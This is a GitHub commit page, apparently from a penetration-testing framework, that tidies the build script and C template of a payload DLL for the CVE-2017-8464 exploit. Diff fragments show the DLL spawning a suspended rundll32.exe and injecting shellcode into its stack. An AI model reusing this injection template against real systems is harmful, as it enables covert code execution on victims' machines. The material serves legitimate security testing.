Skip to content

Commit 949633e

Browse files
committed
Cleanup cve-2017-8464 template and build script
1 parent f2f48cb commit 949633e

File tree

2 files changed

+6
-7
lines changed

2 files changed

+6
-7
lines changed

data/exploits/cve-2017-8464/src/build.sh

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,10 @@ CCx64="x86_64-w64-mingw32"
66

77
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
88
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
9-
${CCx64}-strip -s temp.dll -o template_x64_windows.dll
9+
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
1010
rm -f temp.dll *.o
1111

1212
${CCx86}-gcc -c -Os template.c -Wall -shared
1313
${CCx86}-dllwrap --def template.def *.o -o temp.dll
14-
${CCx86}-strip -s temp.dll -o template_x86_windows.dll
14+
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
1515
rm -f temp.dll *.o
16-

data/exploits/cve-2017-8464/src/template.c

100755100644
Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,13 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
2222
ExecutePayload();
2323
break;
2424

25-
case DLL_PROCESS_DETACH:
25+
case DLL_PROCESS_DETACH:
2626
break;
2727

28-
case DLL_THREAD_ATTACH:
28+
case DLL_THREAD_ATTACH:
2929
break;
3030

31-
case DLL_THREAD_DETACH:
31+
case DLL_THREAD_DETACH:
3232
break;
3333
}
3434

@@ -69,7 +69,7 @@ void ExecutePayload(void)
6969
inline_bzero(&si, sizeof(si));
7070
si.cb = sizeof(si);
7171

72-
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
72+
// Create a suspended process, write shellcode into stack, resume it
7373
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
7474
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
7575
GetThreadContext(pi.hThread, &ctx);

0 commit comments

Comments
 (0)